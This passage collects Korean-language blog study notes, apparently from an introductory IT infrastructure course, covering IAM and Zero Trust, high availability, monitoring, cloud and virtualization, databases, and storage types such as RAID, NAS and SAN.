- 대표적인 IAM 구성 요소 6개

- Okta: 대표적인 기업용 Identity and Access Management (IAM) 솔루션

- SSO: 사용자가 하나의 자격 증명(사용자 이름과 비밀번호)으로 여러 개의 애플리케이션이나 서비스에 로그인 할 수 있도록 해주는 기술

- Access Security: 누가, 언제, 어떤 방식으로 특정 자원에 접근할 수 있는지를 제어하는 보안의 핵심적인 측면

- Directory: 사용자와 그룹의 정보를 저장하고 관리하는 중앙 집중식 시스템(내부 직원 여부 확인)

- Dynamic Authorization: 사용자의 접근 권한을 실시간으로 조정하여 보안을 강화하는 방법

- API Security: API를 안전하고 의도한대로 사용할 수 있도록 보장

- Central Admin: 중앙 관리자

- IAM이 필요한 이유

1. 기업의 데이터를 안전하게 보호하기 위해

- IAM이 필요한 이유

2. IT 관리자의 업무 부담을 줄이고 실수를 방지하기 위해 → 수동 업무의 자동화

- IAM이 필요한 이유

3. 다수의 SaaS 및 서비스를 사용하는 사용자의 생산성 향상을 위해

- 고객 Identity 관리 발전 방향: 사용자가 직접 관리 → 디바이스 별로 개별 관리 → IAM 플랫폼으로 통합 관리

- 기업의 Identity 관리 발전 방향: 사용자가 직접 관리 → 서비스 별로 개별 관리 → IAM 플랫폼으로 통합 관리

- Workforce Identity: 조직 내에서 사용자들의 역할, 신원 인증, 리소스에 대한 접근 권한을 효과적으로 관리하기 위한 인적 자원 관리 시스템

- Zero Trust: 신뢰가 없다, 아무도 믿지 않는다 라는 컨셉의 보안 모델

- 사용자 및 기기가 네트워크나 데이터에 접근할 때 기업에서 요구하는 보안 검증을 통과하기 전까지는 접속을 허용하지 않는 보안 아키텍처

- 기존 보안 모델 vs Zero Trust 보안 모델

- 방화벽을 통과하더라도 각 시스템에 접근하는 행위에 대한 검증을 한번 더 진행

- Zero Trust 필요성: IT 인프라 보안 환경이 너무 복잡해짐, 관리 포인트가 너무 많아진 것이 가장 큰 원인

- 사용자 기기 증가, 다양한 접속 위치 및 시간대, 한번 관문을 통과하면 어떤 작업도 허용하는 전통적인 보안 방식의 한계

- Zero Trust 보안 모델 구현을 위한 5가지 원칙

- Zero Trust 작동 방식

- 클라우드를 사용해도 보안에 신경을 써야 하나요? → 신경써야함, 클라우드는 책임공유 모델이기 때문

참고

https://www.inflearn.com/course/%EB%88%84%EA%B5%AC%EB%82%98-%EC%89%BD%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EB%8A%94-it-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B8%B0%EC%B4%88

IT 인프라 운영

Security Engineer — Sat, 31 May 2025 22:00:23 +0900

고가용성(HA, High Availability)

- 고가용성: 서버, 네트워크, 프로그램 등의 시스템이 안정적으로 작동할 수 있도록 보장하는 것

- 서버 하드웨어 구성요소: 다양한 부품이 서로 유기적으로 연결되어 있음

- 서버 하드웨어 장애: 서버의 모든 요소 마다 장애가 발생할 수 있음

- 서버 소프트웨어 구성요소: OS, OS 기본 프로그램, 다양한 애플리케이션이 함께 동작함

- SPOF(Single Point of Failure): 단일 장애 지점, 장애가 발생하면 전체 시스템이 다운되는 지점

- 고가용성(HA, High Availability): 시스템이 긴 시간동안 장애 없이 안정적으로 운영되도록 취하는 조치

- 이중화: 서비스의 안전성을 위해 각종 자원(하드웨어, OS, 미들웨어, DB 등)을 이중 혹은 그 이상으로 구성하는 기술

- 각 요소 별로 이중화 하는 방법이 다르며, 2대로 이중화 한다 하더라도 장애 발생 가능성을 완벽하게 배제하기 어려움

- 두 서버를 모두 운영해야 하기에 비용 증가, 자원 낭비라는 단점이 있음

- 클러스터링: 여러 대의 컴퓨터를 병렬로 연결한 시스템

- 여러 대의 서버를 가상의 하나의 서버처럼 사용하는 기술

- Failover: 실패(Fail)를 끝냄(Over), 장애 대비 기능

- 실제 운영 시스템에 이상이 생겼을 때 예비 시스템으로 자동 전환

- Failback: Failover에 따라 전환된 시스템을 이상이 발생하기 전의 상태로 되돌리는 처리를 의미, 원래 시스템으로 사용

모니터링(Monitoring)

- 모니터링: 지속적인 감시, 감찰을 통해 대상의 상태나 가용성, 변화 등을 확인하고 대비하는 것

- 시스템의 상태나 상황에 문제가 발생하면, 즉각 관리자에게 알림을 보내 빠르게 대처할 수 있도록 도와줌

- 서버 모니터링: 서버 하드웨어 자원 보유 현황, 상태, 자원 사용 현황을 지표로 보여줌

- 애플리케이션 모니터링: JAVA 애플리케이션의 사용자 수, 자원 사용 현황, 트랜잭션 상태 등을 지표로 보여줌

- APM: Application Performance Monitoring

- 애플리케이션의 각 요소의 장애 발생 포인트를 알려주거나 진단해줌

- 애플리케이션의 트랜잭션 상세보기를 통해 서버에서 처리된 시간, SQL 처리 시간, 쿼리 정보 등을 확인 가능

- 이 정보를 통해 애플리케이션 성능 분석 및 튜닝을 할 수 있음

- DBMS 모니터링: 데이터베이스 성능을 향상 최상의 상태로 유지할 수 있도록 도와줌

- 네트워크 모니터링: 네트워크의 전반적인 상태를 분석해 안정적인 네트워크를 제공할 수 있도록 도와줌

- 클라우드 모니터링: 클라우드 자원 사용 현황 및 운영하는 애플리케이션 상태를 보여줌

- 클라우드 비용 모니터링 플랫폼: 자원 사용량에 따라 과금되는 클라우드 서비스 비용을 상세히 보여줌

- 하나의 클라우드 뿐만 아니라 다수의 클라우드 사용 현황을 단일 화면에서 모니터링하고 관리할 수 있음

- 옵저버빌리티(Observability): 관측가능성 혹은 관측능력, 전통적인 모니터링이 가진 한계를 극복한 가시성 확보 방안

- 옵저버빌리티가 필요한 이유: 기존의 전통적인 포인트 모니터링 환경이 너무 복잡해짐

- 기존 모니터링과 옵저버빌리티의 차이: 모니터링은 무엇이 잘못되었는지를 알려줌

- 하지만 옵저버빌리티는 왜 잘못되었는지 알려줌, 잘못된 이유를 이해할 수 있도록 함

- 알려지지 않고 모르고 있던 문제를 빠르게 탐지, 조사, 해결하는데 도움을 줌

- 옵저버빌리티가 해결하고자 하는, 현대화된 IT인프라 환경에서 발생하는 문제들

- 옵저버빌리티를 구성하는 3가지 요소: Metrics, Traces, Logs

- 풀스택 옵저버빌리티 솔루션의 4가지 특징

- 풀스택 옵저버빌리티 솔루션 예시

자동화(Automation)

- 자동화(Automation): 정보 기술 서비스 및 솔루션을 제공하는 데 사용되는 하드웨어, 소프트웨어, 네트워킹 구성 요소, 운영 체제(OS), 데이터 스토리지 구성 요소를 제어하기 위해 사람의 개입을 줄이면서 임무를 수행하는 기술을 사용하는 것

- 사람의 개입을 최소화하여 자동으로 되게끔 기술을 사용하는 것

- IaC(Infra as a Code): 개발자가 직접 코드를 만들어 IT 인프라를 생성, 배치, 관리하는 기술

- IaC를 통해 반복적인 작업을 코드로 처리함으로써 업무시간을 획기적으로 단축시키고 오류 사전 방지 가능

- 업무 자동화 구성: Playbook이라는 템플릿을 제공해 어떤 업무를 자동화할 것인지 손쉽게 구성 가능

- 앤서블(Ansible): 레드햇(Red Hat)에서 개발한 오픈 소스 IT 자동화 도구로, 서버 구성 관리, 애플리케이션 배포, 작업 실행 등을 수행할 수 있음.

- Job 워크플로우 생성: 업무 Playbook 을 구한 다음, 구체적으로 어떻게 실행될 것인지 워크플로우 생성

- AIOps: AI + Ops(Operations), IT운영의 자동화 및 관리를 위해 빅데이터 분석에 머신러닝을 적용하는 것

- IT 인프라 관리 및 운영 자동화를 위해 필요한 대표적인 서비스

참고

https://www.inflearn.com/course/%EB%88%84%EA%B5%AC%EB%82%98-%EC%89%BD%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EB%8A%94-it-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B8%B0%EC%B4%88

개발 모델 및 방법론

Security Engineer — Thu, 29 May 2025 22:00:58 +0900

개발 모델(Monolithic vs MSA)

- 모놀리식 아키텍처: 애플리케이션 계획, 설계, 개발, 테스트, 배포 모든 과정을 한번에 수행하는 모델

- 마이크로서비스 아키텍처: 애플리케이션의 각 요소(기능)별로 계획, 설계, 개발, 테스트, 배포하는 모델

- 그룹웨어 비교, 모놀리식 vs MSA

- 모놀리식: 업데이트 동안에는 전체 기능 사용불가, 일부의 오류가 전체 오류에 영향을 미침

- MSA: 분리되어 있어 개별 업데이트가 가능, 업데이트 중인 기능 외 다른 기능 사용 가능

개발 방법론(DevOps, CI/CD + @)

- 데브옵스(DevOps): 개발 → 테스트 → 배포 → 운영까지의 업무를 통합해 앱 개발 및 배포 속도를 높이려는 접근 방식

- 기존의 개발자 따로, 운영자 따로 하던 작업을 통합해서 개발자가 운영 작업까지 할 수 있게 됨

- CI/CD: Continuous Integration / Continuous Delivery, Deployment(연속적인 통합 / 연속적인 배포)

- 애플리케이션 개발 및 배포 단계를 자동화하여 보다 짧은 주기로 빠르게 애플리케이션을 제공하는 방법론

- 코드 작성/수정 이후의 단계를 자동화

- DevOps, CI/CD를 지원하는 대표적인 클라우드 서비스

- No Code: 코딩 경험이 전혀 없는 사람을 위한 개발 접근 방식

- 코딩을 완전히 건너뛰고 GUI 환경에서 앱 개발 가능

- 개발자가 아니여도 서비스 개발 가능

- Low Code: No Code와 동일하게 GUI를 활용하나 커스텀 코딩 가능, 좀 더 수준이 높음, 개발자 대상

- 대표적인 No Code, Low Code 서비스

- 시민 개발자(Citizen Developer): 개발자가 아니지만 업무용 소프트웨어를 직접 개발하는 임직원

참고

https://www.inflearn.com/course/%EB%88%84%EA%B5%AC%EB%82%98-%EC%89%BD%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EB%8A%94-it-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B8%B0%EC%B4%88

클라우드

Security Engineer — Wed, 21 May 2025 22:00:12 +0900

클라우드 개념 및 종류

- 클라우드: IT 인프라 자원을 직접 보유해서 사용하는 것이 아닌, 다른 기업의 IT 인프라 자원을 빌려서 쓰는 것

- 클라우드 비용: 자원을 빌려 쓴 것 만큼의 사용료를 월 과금 형태로 지불 = Pay as you go(사용한 만큼 지불)

- 호스팅 vs 서버 호스팅 vs 클라우드

	호스팅(웹 호스팅)	서버 호스팅	클라우드
개념	IDC의 특정 서버 자원을 빌려씀	IDC의 특정 서버 자체를 빌려씀	IDC의 특정 서버 자원 혹은 서버 자체를 빌려쓸 수 있고, 이 두가지 혼합도 가능
특징	자원 변경(확장 혹은 축소)시 OS 설치 등 세팅 시간이 필요함. 빠른 대응이 어려움		자원 변경(확장 혹은 축소)시 유연하게 원하는 만큼 빠르게 변경 가능 → Elastic 하다는 것이 특징

- 코로케이션: 데이터센터 내 공동 공간을 빌려 자사의 서버를 설치하는 것, 회사 자체 서버가 있는 경우 공간만 임대하여 사용

- 서버 호스팅: 회사 자체 서버가 없는 경우, 서버 + 공간을 임대하여 사용

- 코로케이션과 서버 호스팅 둘다 서버를 관리해줌

- 호스팅: 다른 사람들과 자원 공유 = 성능 ↓ 비용 ↓

- 서버 호스팅: 단독으로 자원 사용 = 성능 ↑ 비용 ↑

- 클라우드: 자원 변경이 유연함 = Auto Scaling, 자원과 비용을 비교하여 사용해야 함(비용 최적화가 중요)

- IaaS: Infra as a Service / IT 인프라 자원 전체를 빌려씀, OS 및 각종 소프트웨어 설치 필요

- PaaS: Platform as a Service / 이미 설치된 OS(플랫폼)을 빌려씀, 애플리케이션 설치 필요

- SaaS: Software as a Service / 소프트웨어를 빌려씀

클라우드 형태

- 온프레미스: 기업이 직접 IT 인프라를 운영

- 퍼블릭 클라우드: 다른 기업의 IT 인프라를 빌려다 씀

- 프라이빗 클라우드: 기업이 보유한 IT 인프라를 클라우드 서비스처럼 기업 내에서 활용 = 회사 자체 클라우드

- 하이브리드 클라우드: 프라이빗 클라우드 + 퍼블릭 클라우드

→ 중요한거는 프라이빗 클라우드로 운영, 중요도가 낮은 시스템은 퍼블릭 클라우드로 운영

- 멀티 클라우드: 퍼블릭 클라우드 + 퍼블릭 클라우드 = AWS + Azure

→ 가용성을 위해 사용하는 경우(AWS or Azure에 장애 발생 시 다른 클라우드 사용)

클라우드 기술 및 용어

- 컨테이너: Container, 리눅스 기반 애플리케이션 운영을 위한 프로세스 격리 기술

- 컨테이너 런타임: Container Runtime, 컨테이너를 다루는 도구

- 도커: Docker, 컨테이너 기술을 누구나 쉽게 사용할 수 있도록 만든 컨테이너 런타임 중 가장 유명한 오픈소스 프로젝트

- 컨테이너 vs 가상머신

- 컨테이너는 앱(App) 별로 가상화 vs VM은 OS 별로 가상화

- 쿠버네티스: 다수의 컨테이너를 효율적으로 운영, 관리하기 위한 도구

- 구글이 오픈소스로 공개, 현재 기업 환경에 맞는 유료 쿠버네티스 서비스가 다수 존재(EKS, AKS, GKE 등)

- 특정 웹 서버의 기능을 여러개로 나눠서 컨테이너로 관리

- 파드(Pod): 앱이 운영되는 컨테이너들의 모음, 그룹

- 노드(Node): 파드가 운영되는 물리 서버 또는 가상 머신, 워커 노드라고 부름

- 클러스터(Cluster): 노드들의 집합

- 마스터(Master): 다수의 워커 노드들 및 그 하위의 파드와 컨테이너를 관리하는 노드

- 파드 < 노드 < 클러스터 < 마스터

참고

https://www.inflearn.com/course/%EB%88%84%EA%B5%AC%EB%82%98-%EC%89%BD%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EB%8A%94-it-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B8%B0%EC%B4%88

온프레미스

Security Engineer — Mon, 12 May 2025 22:00:35 +0900

온프레미스 개념과 3 Tier 아키텍처

온프레미스 = 기업 자체 전산실

- 기업이 자체 시설에서 보유하고 직접 유지 관리하는 프라이빗 데이터 센터

- 기업이 자체적으로 서버, 소프트웨어, 네트워크 등 IT 인프라를 구축하고 운영하는 방식

- 3 Tier 아키텍처: 애플리케이션 운영 환경이 컴퓨팅(서버), 네트워크, 스토리지로 구성된 전통적인 아키텍처

개발자와 인프라 엔지니어 관점의 3-Tier 아키텍처 차이

Platform	Infra
Web Server	Compute
WAS(Web Application Server)	Network
DB	Storage

서버 - 스위치 - 스토리지 vs 컴퓨팅 - 네트워크 - 스토리지

기능적 계층	물리적 장비 표현	설명
컴퓨팅(Compute)	서버(Server)	애플리케이션, 가상머신, 컨테이너 등을 실행, CPU, RAM 중심 자원
네트워크(Network)	스위치, 라우터	서버와 스토리지, 사용자 단말 간 데이터 흐름 제어
스토리지(Storage)	스토리지 어플라이언스, NAS, SAN	데이터 저장 장치, 디스크, SSD

표현 차이에 따른 사용 맥락

용어	사용 맥락	예시
서버 - 스위치 - 스토리지	실제 장비 설치, 배선, 조달 등 물리 인프라 설계	데이터센터 구축, 하드웨어 벤더 도입 문서
컴퓨팅 - 네트워크 - 스토리지	아키텍처, 리소스 할당, 가상화/클라우드 설계	VMWare, k8s 노드 구성, IaaS 리소스 모델링

서버 - 스위치 - 스토리지 = 철근 - 배선 - 창고 / 건물 구성 요소 / 물리적 관점

컴퓨팅 - 네트워크 - 스토리지 = 운영 - 통신 - 보관 / 건물의 역할 / 논리적 관점

IT 인프라 가상화 기술

- 가상화: Virtualization, 물리적인 리소스(서버, 스토리지, 네트워크 등)를 추상화하여 가상 환경을 생성하고 사용하는 기술, 하드웨어 리소스를 효율적으로 활용하고 비용을 절감할 수 있음

- 대표적인 가상화 기술: 서버 가상화, 데스크탑 가상화, 네트워크 가상화, 스토리지 가상화

- 서버 가상화: 하이퍼바이저(Hypervisor)를 통해 가상머신을 생성, 여러개의 OS를 운영하는 기술

- 물리 서버 위에 하이퍼바이저를 깔고, 그 위에 가상머신을 여러개 생성

- 데스크탑 가상화: 데이터는 서버에 저장하고, 서버에서 클라이언트에 업무 환경만 제공해 주는 기술 = VDI

- 데스크탑 성능과 상관없이 네트워크 성능만 좋으면 원활한 환경에서 사용 가능

- 은행, 공공기관에서 주로 사용, 서점/도서관의 도서 검색 시스템

- 네트워크 가상화: 다수의 물리적 네트워크를 하나의 가상 네트워크로 구성해 사용하는 기술 = VLAN, NFV, SDN 등

- 물리적인 네트워크 장비와 연결 상태를 소프트웨어로 정의하고 관리하는 것

- 스토리지 가상화: 물리서버의 디스크와 스토리지를 하나의 가상 스토리지 풀로 묶어 사용하는 기술

- 이기종 하드웨어를 하나의 가상 스토리지로 통일

- 각 팀에 맞게 용량을 할당하여 사용 가능

HCI, SDDC

- HCI(Hyper Converged Infrastructure): 컴퓨팅, 스토리지, 네트워크를 가상화시켜 단일 시스템으로 운영

- 2-Tier 아키텍처 = (컴퓨팅 + 스토리지) + 네트워크

- HCI는 기존 3-Tier 대비 병목 구간을 제거하여 자원 확장 시 성능이 선형적으로 늘어남

- 서버와 스토리지가 통합되어 있으며, 스토리지는 공용 스토리지로 파일이 분산 저장되어 있음

- 서버의 디스크를 공유 스토리지로 구성

- 3-Tier 아키텍처는 일정 구간을 지나면 성능 증가폭이 감소(병목 구간으로 인해)

- HCI는 선형적으로 성능이 증가(투자한 만큼 증가) = 스케일 아웃(Scale Out) 아키텍처

- SDDC(Software Defined Data Center): 데이터 센터 구성 요소의 모든 것을 소프트웨어로 통합 관리

- SDC + SDS + SDN + Management Platform 4가지가 모두 포함되어야 진정한 SDDC라고 할 수 있음

- HCI가 수십,수백대가 있는 데이터 센터 = SDDC

- 온프레미스 진화의 끝판왕 = SDDC

참고

https://www.inflearn.com/course/%EB%88%84%EA%B5%AC%EB%82%98-%EC%89%BD%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EB%8A%94-it-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B8%B0%EC%B4%88

데이터베이스

Security Engineer — Fri, 9 May 2025 22:00:17 +0900

IT 인프라 기초 3요소

- 서버, 네트워크, 스토리지

- 위 3요소를 기반으로 돌아가는 다양한 소프트웨어가 존재함, DB는 굉장히 중요함

데이터베이스 개념 및 용어

- 데이터베이스 개념: 여러 사람이 공유하여 사용할 목적으로 체계화해 통합, 관리하는 데이터의 집합, 응용 프로그램들이 사용하는 정보를 통합 저장하여 운영할 수 있는 공용 데이터들의 묶음

- DB가 사용되는 곳: 게시판 글 작성 시 DB에 저장, 개인정보 및 ID/PW DB에 저장

- 사용자가 특정 웹 사이트에서 결과물을 확인하고 싶으면 서버는 DB에서 저장된 정보를 가져와서 출력해줌

- 엑셀도 일종의 데이터베이스

- DBMS: Database Management System, 사용자들이 DB안에 있는 데이터를 접근할 수 있도록 해주는 소프트웨어

- 쇼핑몰 DBMS 예시: 쇼핑몰 이용 고객, 쇼핑몰 관리자, 쇼핑몰 입점 판매자들이 모두 DBMS를 사용

고객 A: 쇼핑몰에 로그인 시도, DBMS에서 고객 A가 입력한 회원정보가 DB에 저장되어 있는지 확인 후 로그인 승인 여부 결정

고객 B: 쇼핑몰에서 원하는 상품 검색, DBMS는 해당 상품 정보가 DB에 저장되어 있는지 확인 후 결과물을 출력

쇼핑몰 관리자 C: 신규 업체를 쇼핑몰에 등록, DBMS는 신규 업체 정보를 DB에 저장

쇼핑몰 입점 판매자 D: 고객이 주문한 제품에 대한 주문 정보 확인, DBMS는 DB에 저장된 해당 제품에 대한 주문 정보를 출력

※ DBMS: 클라이언트가 요청한 데이터가 DB에 저장되어 있는지 확인 후 결과물을 출력해줌

- 관계형 DBMS: Relational DBMS(RDBMS), 테이블이라는 최소 단위로 구성하면 이 테이블은 열과 행으로 이루어짐

- Primary Key(기본키)로 구분, DB 테이블 내의 모든 레코드에서 고유한 아이디를 제공한다.

- SQL: Structured Query Language(구조적 데이터 질의 언어), 데이터베이스에서 데이터를 조회하기 위한 언어

- 데이터베이스 주요 용어: OLTP, DW, DM, OLAP

- OLTP: Online Transaction Processing 온라인 트랜잭션(거래) 처리 → 라면 공장

- DW: Data Warehouse 거대한 데이터 저장소 → 라면 도매 시장

- Data Mart: 용도별로 구분하여 저장한 데이터 저장소 → 이마트, 동네 슈퍼의 식료품 코너

- OLAP: Online Analytical Processing 온라인 분석 처리 → 원하는 라면 선택

오픈소스 DB vs 상용 DB

- 데이터베이스 유형: 오픈소스 DB vs 상용 DB

- 오픈소스 DB: MySQL, MariaDB, PostgreSQL

- 상용 DB: 오라클 DB, MS-SQL, IBM DB2

- NoSQL: 대용량 데이터를 분산 처리하기 위해 SQL이 아닌 또 다른 기술을 채택한 오픈소스 데이터베이스, 최근에 많이 뜸

- NoSQL = Not Only SQL

1. Key-Value Type: 키와 값을 직접적으로 연결하여 데이터를 저장하는 방식, 빠른 데이터 접근 속도를 제공

2. Document Type: JSON과 같은 문서 형태로 데이터를 저장하는 방식, 유연한 스키마와 데이터를 쉽게 저장하고 검색 가능

3. Column-Family Type: 데이터를 열(column) 단위로 저장하는 방식, 대량의 데이터를 효율적으로 처리하고 수평적으로 확장 가능

4. Graph Type: 노드와 에지를 통해 데이터를 연결하여 저장하는 방식으로, 관계 분석 및 탐색에 용이

- 데이터베이스 엔진 순위

- 총 397개 중 상위 30위 리스트

사이트 주소: https://db-engines.com/en/ranking

DB IDE

- DB IDE: IDE(Integrated Development Environment), DB 엔지니어, DBA, 개발자가 사용하는 DB 개발 도구

- 상용 DB IDE: GUI 지원, 다중 DB 지원, Query 자동완성, 관리자를 위한 기본 모니터링 도구 제공

- DB를 여러 개 사용하는 경우, 1개의 상용 DB IDE에서 다수의 DB를 관리할 수 있음

참고

https://www.inflearn.com/course/%EB%88%84%EA%B5%AC%EB%82%98-%EC%89%BD%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EB%8A%94-it-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B8%B0%EC%B4%88

스토리지와 백업

Security Engineer — Wed, 7 May 2025 22:00:28 +0900

스토리지 개념 및 종류

- 스토리지: 저장장치를 다수 장착한 대용량 고속 저장 장비로 서버 및 클라이언트와 네트워크로 연결해서 사용

- 저장장치: 컴퓨터의 데이터를 저장하기 위한 비 휘발성의 기억 장치

- 스토리지는 데이터 저장뿐만 아니라 데이터 공유 목적으로 주로 사용됨

- 서버에 장착된 디스크 용량이 부족할 경우, 다수의 사람들과 데이터를 공유할 필요가 있을 경우 스토리지를 활용

- 데이터 관리 및 보호를 위한 별도의 소프트웨어 탑재

RAID

- 스토리지 데이터 저장 방식: RAID, Redundant Array of Inexpensive/Independent Disks

- 비싸지 않은/독립적인 다수의 디스크들의 배열, 집합

- 여러 개의 디스크를 하나의 디스크 모듈로 구성, 디스크 읽기/쓰기 성능 향상 및 장애 발생 시 원활한 복구를 위해 사용

※ RAID - 다수의 디스크를 마치 하나의 디스크처럼 사용할 수 있게 해주는 기술

- 대표적인 RAID 방식 #1: RAID 0, RAID 1

- RAID 0: 데이터를 여러 디스크에 분산 저장하여 하나의 디스크처럼 사용, 성능이 좋지만 장애 시 데이터는 모두 손실됨

- 100MB 데이터를 25MB 4개로 나눠서 저장, 속도는 4배 빠르지만 1개만 고장나도 데이터 읽기 불가

- 데이터를 여러 디스크에 분산 저장

- 같은 용량의 디스크로 구성

- 빠른 성능 / 장애 시 데이터 모두 손실됨

- RAID 1: 데이터를 다른 디스크에 동일하게 중복 저장하여 안정성이 높지만 비용이 많이 듬

- 총 4TB 디스크를 각각 2TB로 미러링해서 사용, 실제 용량은 2TB

- 데이터를 다른 디스크에 동일하게 중복 저장

- 최소 2개 디스크 필요, 필요한 용량의 2배 준비

- 장애 대비에 유리하나 비용이 비쌈

- RAID 0 vs RAID 1

방식	장점	단점
RAID 0	분산 저장으로 인해 읽기/쓰기 성능이 빠름	분산 저장으로 인해 디스크 1개만 고장나도 데이터 읽기 불가
RAID 1	미러링으로 인해 1개 고장나도 사용 가능 (2개 중 1개는 백업 용도 - 장애 대비 유리)	미러링으로 인해 전체 용량의 50% 용량만 사용 가능

- 대표적인 RAID 방식 #2: RAID 5, RAID 6

- RAID 5: 디스크에 패리티 정보를 저장해 장애 시 패리티를 토대로 복구할 수 있음, 일정 수준의 성능과 안정성 확보

※ Parity(패리티): 데이터의 무결성과 복구를 위한 오류 검출 및 복구 정보, 디스크 장애 발생 시 데이터 복구할 수 있도록 도와줌

- 디스크마다 Parity(패리티) 정보 저장

- 디스크 장애 시 Parity 정보를 토대로 복구 가능

- 최소 3개 디스크 필요, 보통 5개 이상 사용

- RAID 6: RAID 5 방식에 패리티를 하나 더 추가하여 안정성을 더욱 향상시킨 방법

- RAID 5와 비슷하나 Parity 정보를 하나 더 저장

- RAID 5 구조에 데이터 복구 능력을 향상시킨 형태

- 그래서 성능은 RAID 5보다 조금 떨어짐

- 디스크 최소 4개 필요

- RAID 5 vs RAID 6

방식	장점	단점
RAID 5	디스크에 패리티 정보를 저장해 장애 시 복구 가능(1개 디스크가 실패해도 데이터 복구 가능)	쓰기 작업 시 패리티 계산으로 인한 성능 저하
RAID 6	디스크에 패리티 정보를 하나 더 저장해 장애 시 복구 가능(RAID 5 대비 복구 능력 향상 - 2개 디스크가 동시에 실패해도 데이터 복구 가능)	RAID 5보다 읽기/쓰기 성능 떨어짐, RAID 5보다 더 높은 용량 손실

- 대표적인 RAID 방식 #3: RAID 1+0

- RAID 1+0: RAID 0의 높은 성능과 RAID 1의 뛰어난 안정성을 합친 형태

- RAID 0의 고성능 + RAID 1의 복구 능력을 합친 형태

- 쓰기는 디스크 2개 성능, 읽기는 디스크 4개 성능 발휘

- 전체 용량의 50%만 사용 가능

- 최소 4개 디스크 필요

※ 최하위 디스크 2개씩 미러링 후 스트라이핑 = 높은 성능 + 안정성

JBOD

- JBOD: Just a Brunch of Disks(Drives), 2개 이상의 디스크를 하나의 디스크처럼 만들어 주는 것(Non-RAID)

- 여러 디스크의 용량을 단순히 이어 붙인 것으로, RAID 0과 같이 다수의 디스크를 사용한다고 성능이 향상되지 않음

- 과거 디스크 용량이 작았을 때 개별 디스크 용량보다 더 큰 용량의 데이터를 저장하기 위해 사용함

- 구성된 디스크의 데이터가 가득차면 다음 디스크에 데이터를 기록하는 형태

- 기존에 사용하던 스토리지의 용량을 늘리기 위해 디스크를 더 꽂을 수 없을 경우, 스토리지 하드웨어를 추가해 기존의 스토리지와 연경하는 용도로 주로 사용됨

- JBOD로 연결하는 디스크의 용량이 같지 않아도 됨

- 디스크에 동시에 접근하지 않기 때문에 성능이 향상되지 않음

- 최초 구성한 스토리지 성능은 변하지 않으며, 용량만 늘어나는 형태

- RAID 0과는 달리, 디스크 장애 시 일부 복구 가능(최대 50%)

스토리지 종류

- 스토리지 종류: DAS(Direct Attached Storage), 직접 연결한 스토리지

- 서버와 클라이언트가 전용 케이블로 연결한 스토리지, 서버와 직접 연결하는 외장하드

- 전송 속도가 빠르고, 스토리지와 연결된 서버에서 개별적인 파일 시스템을 사용해 관리

- DAS에 연결된 서버별로 관리해야 함, 3개 서버면 3개를 개별 관리(통합 관리 어려움), 서버에 부족한 저장 공간을 스토리지에 가져다가 쓴다.

- 스토리지 종류: NAS(Network Attached Storage)

- 데이터 공유를 위한 파일 서버 용도로 주로 사용되며 파일 스토리지라고도 불림

- 스토리지 전용 OS로 데이터를 관리하는 독립적 다기능 스토리지

- 네트워크로 파일 공유

- NAS 자체가 메인보드, CPU, RAM, 스토리지를 갖춘 하나의 서버 역할을 수행하기에 파일 공유뿐만 아니라 다양한 서버 용도로 사용할 수 있음(멀티미디어 파일 재생, 웹사이트 운영 등)

- 스토리지가 하나의 네트워크 공유 드라이브로 독립적으로 동작

- 클라이언트가 데이터에 접근하기 위해서는 반드시 네트워크 스위치를 거쳐 NAS에 접근해야 하기에 DAS 보다 데이터 전송 속도가 느림

데이터 전송 순서

1. 클라이언트 → 스위치

2. 스위치 → NAS

3. NAS → 스위치

4. 스위치 → 클라이언트

- 서버 역시 데이터에 접근하기 위해서는 반드시 네트워크 스위치를 거쳐 NAS에 접근해야 하기에 DAS보다 데이터 전송 속도가 느림

데이터 전송 순서

1. 서버 → 스위치

2. 스위치 → NAS

3. NAS → 스위치

4. 스위치 → 서버

- 클라이언트가 서버에서 구동되는 애플리케이션의 데이터에 접근할 경우, 서버는 네트워크 스위치를 통해 NAS에 접근해서 데이터를 찾아 클라이언트에게 전달함

데이터 전송 순서

1. 클라이언트 → 스위치

2. 스위치 → 서버

3. 서버 → 스위치

4. 스위치 → NAS

5. NAS → 스위치

6. 스위치 → 클라이언트

- 스토리지 종류: SAN(Storage Area Network)

- 대용량의 데이터를 네트워크를 통해 빠른 속도로 전송할 수 있는 고성능 스토리지

- 일반적인 이더넷 네트워크(UTP 케이블, LAN)가 아닌 FC(Fiber Channel 광케이블)을 사용해 SAN으로 연결하며, 고성능을 요구하는 시스템의 전용 스토리지로 사용

- 이더넷 네트워크 스위치가 아닌 SAN 스위치에 연결하여 사용

- 스토리지 단독으로는 데이터 저장만 가능하며 읽기/쓰기 작업을 할 수 없음

- 반드시 서버와 연결해야 읽기/쓰기 작업이 가능한 서버 종속성 스토리지로 블록 스토리지라고도 불림

- 마치 PC에 디스크를 하나 더 꽂은 것처럼, 블록 스토리지가 서버의 자체 디스크처럼 동작

- 클라이언트에서 스토리지에 데이터를 읽거나 쓰기 위해서는 반드시 서버가 필요(서버 종속성 스토리지)

- FC 네트워크는 이더넷 네트워크보다 성능이 뛰어남 → NAS보다 데이터 전송 속도가 빠름

- 이더넷 스위치 성능(1Gbps, 10Gbps) vs SAN 스위치 성능(8Gbps, 16Gbps, 32Gbps)

- 스토리지 유형: 파일 스토리지, 블록 스토리지, 오브젝트 스토리지

- 데이터 유형: 정형 데이터, 비정형 데이터

- 정형(Structured) 데이터: 미리 정해 놓은 형식과 구조에 따라 고정된 필드에 저장된 텍스트 형태의 데이터(엑셀)

- 비정형(Unstructured) 데이터: 식별 가능한, 미리 정의된 구조가 없는 사진, 음성, 동영상, PDF 파일 등의 데이터

SAN → 정형 데이터

NAS → 비정형 데이터

백업 개념 및 종류

- 백업(Backup): 데이터를 임시로 다른 장치에 저장하여 문제가 있을 때 복구(Recovery)할 수 있도록 준비해 두는 것

- 전체 백업(Full Backup): 백업 주기마다 데이터 전체를 백업

